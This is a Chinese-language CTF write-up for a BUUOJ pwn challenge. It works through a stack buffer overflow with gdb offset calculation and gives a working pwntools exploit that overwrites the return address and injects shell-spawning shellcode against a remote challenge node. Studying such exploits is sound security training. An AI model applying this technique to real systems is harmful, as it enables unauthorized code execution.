查看
开启了full relro保护(地址随机化,需要泄露地址计算偏移量来获取返回地址)
没有开启nx保护,可以shellcode注入(需要shellcode地址作为返回地址来执行shellcode)
无canary保护,可以直接栈溢出
分析
s栈很长可以进行shellcode的注入,但是输入s内容的空间不足以栈溢出
dest可以栈溢出,但需要满足条件进入if语句,将s中内容复制n=0x400个字节(足以栈溢出),需要计算dest溢出所需字节,输入点到返回地址(ret)的偏移量,才能知道需要填充多少数据
而后将shellcode地址写入对应ret处。而shellcode写在对应ret之后。
提示:原本所有输入的东西都是写在s栈上的,而后才将东西复制在dest上进行溢出和覆盖
需要进行shellcode地址与程序泄露地址的偏移量,以此来确定shellcode地址
gdb调试
溢出所需字节(输入点到ret距离)shellcode地址与泄露地址偏移量
在dest这个图片中S为保存的寄存器也就是ebp;r为返回地址也就是ret,所以需要吧ebp填充才能覆盖到ret
调试脚本1
from pwn import *
p=process('./hack')
context.log_level='debug'
gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点(需要在leave之前下断点,否则会被清空返回)
p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print(hex(stack))
payload=b'crashme\x00'+b'aaaa'#前面的crashme\x00绕过if判断
#后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址
#利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)
pause()#linxu下的暂停程序命令
偏移计算
进入后c继续运行,查看栈
0x7263f7f7:
0x72是r的acll码,0x63是c的
相对s栈地址排列对为:0x23 0x22 0x21 0x20(r c 其他 其他)
所以输入点是从c(相对地址0x22)开始的
‘crashme\x00’占八个字节,故填充到ebp需要(0x38-0x22-0x8)14个字节,还需填充ebp(4个字节)
总共需填充26个字节(包括crshme…和ebp)故可使用b’crashme\x00’.ljust(26,b’\x00’)
exp
from pwn import *
#p=process('./hack')
p=remote("node4.buuoj.cn",29587)
context.log_level='debug'
#gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点
p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print(hex(stack))
shellcode_addr=stack-0x1c
payload=b'crashme\x00'+b"\x00"*14+p32(0)+p32(shellcode_addr)+asm(shellcraft.sh())#前面的crashme\x00绕过if判断
#将返回地址覆盖为shellcode_addr
p.recvuntil(b'>')
p.sendline(payload)
#pause()#linxu下的暂停程序命令
p.interactive()